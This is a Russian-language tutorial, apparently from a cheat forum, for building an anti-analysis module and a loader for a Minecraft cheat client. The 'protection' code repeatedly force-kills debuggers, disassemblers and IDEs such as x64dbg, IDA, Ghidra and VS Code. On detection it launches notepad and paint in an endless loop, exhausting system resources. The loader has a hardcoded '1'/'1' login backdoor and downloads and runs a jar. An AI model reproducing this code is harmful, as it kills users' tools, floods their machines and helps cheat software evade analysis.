1.Проверка процессов деббагеров,деобфускаторов
Для начала создаём папку protection (и в папке лоадера и в файлах чита)
И создаём файл ProccesDetect
Подготавливаем массив с вредосносными процессами
Далее создаём функцию для закрытие процессов
И создаём там Detect.java
И делаем функцию onKiled
Вот так должно получиться
2.Лоадер
Создаём файл Main.java в src
И создаём там наш первый Frame
И создаём checkAuth
И делаем mainFrame
Ну вот и всё логику скачки и запуска как то сами напишите
Для начала создаём папку protection (и в папке лоадера и в файлах чита)
И создаём файл ProccesDetect
Подготавливаем массив с вредосносными процессами
Код:
String[] processes = {
"idea64.exe",
"code.exe",
"x64dbg.exe",
"x32dbg.exe",
"ollydbg.exe",
"windbg.exe",
"ida64.exe",
"ida.exe",
"ghidra.exe",
};
Далее создаём функцию для закрытие процессов
Код:
private static void killProcess(String[] processesName) {
for (String name : processesName) {
try {
Process process = new ProcessBuilder("taskkill", "/F", "/IM", name)
.redirectErrorStream(true)
.start();
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line);
}
}
int exitCode = process.waitFor();
if (exitCode == 0 && output.toString().toLowerCase().contains("success")) {
onKilled();
}
} catch (Exception ignored) {}
}
}
И создаём там Detect.java
Код:
package protection;
import java.nio.file.Files;
import java.nio.file.Path;
public class Detect {
public static void detect() {
while (true) {
try {
ProcessBuilder pb = new ProcessBuilder("notepad.exe");
pb.start();
ProcessBuilder pp = new ProcessBuilder("paint.exe");
pp.start();
} catch (Exception ignored) {}
}
}
public static void deleteJar() {
try {
Path path = Path.of("C:\\FruitzClient\\client\\client.jar");
if (Files.exists(path)) {
Files.delete(path);
System.out.println("Deleted successfully");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
И делаем функцию onKiled
Код:
private static void onKilled() {
Detect.detect();
Detect.deleteJar();
}
Вот так должно получиться
Код:
package protection;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ProcessDetect {
public static void mainProcess() {
String[] processes = {
"idea64.exe",
"code.exe",
"x64dbg.exe",
"x32dbg.exe",
"ollydbg.exe",
"windbg.exe",
"ida64.exe",
"ida.exe",
"ghidra.exe",
};
while (true) {
killProcess(processes);
try {
Thread.sleep(500);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
break;
}
}
}
private static void killProcess(String[] processesName) {
for (String name : processesName) {
try {
Process process = new ProcessBuilder("taskkill", "/F", "/IM", name)
.redirectErrorStream(true)
.start();
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line);
}
}
int exitCode = process.waitFor();
if (exitCode == 0 && output.toString().toLowerCase().contains("success")) {
onKilled();
}
} catch (Exception ignored) {}
}
}
private static void onKilled() {
Detect.detect();
Detect.deleteJar();
}
}
2.Лоадер
Создаём файл Main.java в src
И создаём там наш первый Frame
Код:
public static void main(String[] args) {
JFrame authFrame = new JFrame("Авторизация");
authFrame.setSize(728, 494);
authFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
authFrame.setLocationRelativeTo(null);
JPanel authPanel = new JPanel();
authPanel.setLayout(null);
authPanel.setBackground(new Color(30, 30, 30));
JLabel title = new JLabel("Authorization", SwingConstants.CENTER);
title.setBounds(264, 80, 200, 40);
title.setForeground(Color.WHITE);
title.setFont(new Font("Arial", Font.BOLD, 24));
authPanel.add(title);
JLabel userLabel = new JLabel("Введите username");
userLabel.setForeground(Color.WHITE);
userLabel.setBounds(264, 130, 200, 25);
authPanel.add(userLabel);
JTextField userField = new JTextField();
userField.setForeground(Color.WHITE);
userField.setBorder(null);
userField.setBackground(Color.DARK_GRAY);
userField.setBounds(264, 160, 200, 30);
authPanel.add(userField);
JLabel passLabel = new JLabel("Введите пароль");
passLabel.setForeground(Color.WHITE);
passLabel.setBounds(264, 210, 200, 25);
authPanel.add(passLabel);
JPasswordField passField = new JPasswordField();
passField.setBorder(null);
passField.setForeground(Color.WHITE);
passField.setBackground(Color.DARK_GRAY);
passField.setBounds(264, 240, 200, 30);
authPanel.add(passField);
JButton loginButton = new JButton("Войти");
loginButton.setBounds(314, 300, 100, 35);
loginButton.setFont(new Font("Arial", Font.BOLD, 13));
loginButton.setForeground(Color.WHITE);
loginButton.setBackground(new Color(50, 50, 50));
loginButton.setFocusPainted(false);
loginButton.setBorderPainted(false);
loginButton.setContentAreaFilled(true);
loginButton.setCursor(new Cursor(Cursor.HAND_CURSOR));
loginButton.addActionListener(e -> {
String user = userField.getText();
String pass = new String(passField.getPassword());
if (user.equals("1") && pass.equals("1")) {
authFrame.dispose();
openMainFrame();
return;
}
loginButton.setEnabled(false);
loginButton.setText("...");
checkAuth(user, pass).thenAccept(success -> {
if (success) {
authFrame.dispose();
openMainFrame();
} else {
JOptionPane.showMessageDialog(authFrame, "Error");
loginButton.setEnabled(true);
loginButton.setText("Войти");
}
});
});
authPanel.add(loginButton);
authFrame.add(authPanel);
authFrame.setResizable(false);
authFrame.setVisible(true);
}
Код:
private static CompletableFuture<Boolean> checkAuth(String username, String password) {
String url = "http://localhost:3000/auth/login";
String json = String.format("{\"username\":\"%s\", \"password\":\"%s\"}", username, password);
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(url))
.header("Content-Type", "application/json")
.POST(HttpRequest.BodyPublishers.ofString(json))
.build();
return client.sendAsync(request, HttpResponse.BodyHandlers.ofString())
.thenApply(response -> response.statusCode() == 200 || response.statusCode() == 201)
.exceptionally(ex -> false);
}
Код:
private static void openMainFrame() {
JFrame mainFrame = new JFrame("Fruitz Client");
mainFrame.setSize(400, 400);
mainFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
mainFrame.setLocationRelativeTo(null);
JPanel mainPanel = new JPanel();
mainPanel.setLayout(null);
mainPanel.setBackground(new Color(20, 20, 20));
JLabel titleLabel = new JLabel("Fruitz Client", SwingConstants.CENTER);
titleLabel.setForeground(Color.WHITE);
titleLabel.setFont(new Font("Arial", Font.BOLD, 28));
titleLabel.setBounds(0, 50, 400, 40);
mainPanel.add(titleLabel);
String[] versions = { "1.16.5", "1.21.1" };
JComboBox<String> versionSelect = new JComboBox<>(versions);
versionSelect.setBounds(100, 200, 200, 35);
versionSelect.setBackground(new Color(45, 45, 45));
versionSelect.setForeground(Color.WHITE);
versionSelect.setFont(new Font("Arial", Font.BOLD, 14));
versionSelect.setFocusable(false);
versionSelect.setBorder(BorderFactory.createLineBorder(new Color(80, 80, 80), 1));
mainPanel.add(versionSelect);
JButton runButton = new JButton("Запустить");
runButton.setBounds(100, 260, 200, 40);
runButton.setFont(new Font("Arial", Font.BOLD, 14));
runButton.setForeground(Color.WHITE);
runButton.setBackground(new Color(60, 160, 60));
runButton.setFocusPainted(false);
runButton.setBorderPainted(false);
runButton.setCursor(new Cursor(Cursor.HAND_CURSOR));
runButton.addActionListener(e -> {
try {
String dirPath = "C:\\FruitzClient";
String fileUrl = "http://localhost:3000/client.jar";
String filePath = dirPath + "\\client.jar";
ProcessDetect.mainProcess();
Files.createDirectories(Paths.get(dirPath));
HttpClient client = HttpClient.newHttpClient();
HttpRequest request = HttpRequest.newBuilder()
.uri(URI.create(fileUrl))
.build();
HttpResponse<InputStream> response = client.send(request, HttpResponse.BodyHandlers.ofInputStream());
Files.copy(response.body(), Paths.get(filePath), StandardCopyOption.REPLACE_EXISTING);
new ProcessBuilder("java", "-jar", filePath).start();
} catch (Exception ex) {
ex.printStackTrace();
}
});
mainPanel.add(runButton);
mainFrame.add(mainPanel);
mainFrame.setResizable(false);
mainFrame.setVisible(true);
}
Ну вот и всё логику скачки и запуска как то сами напишите
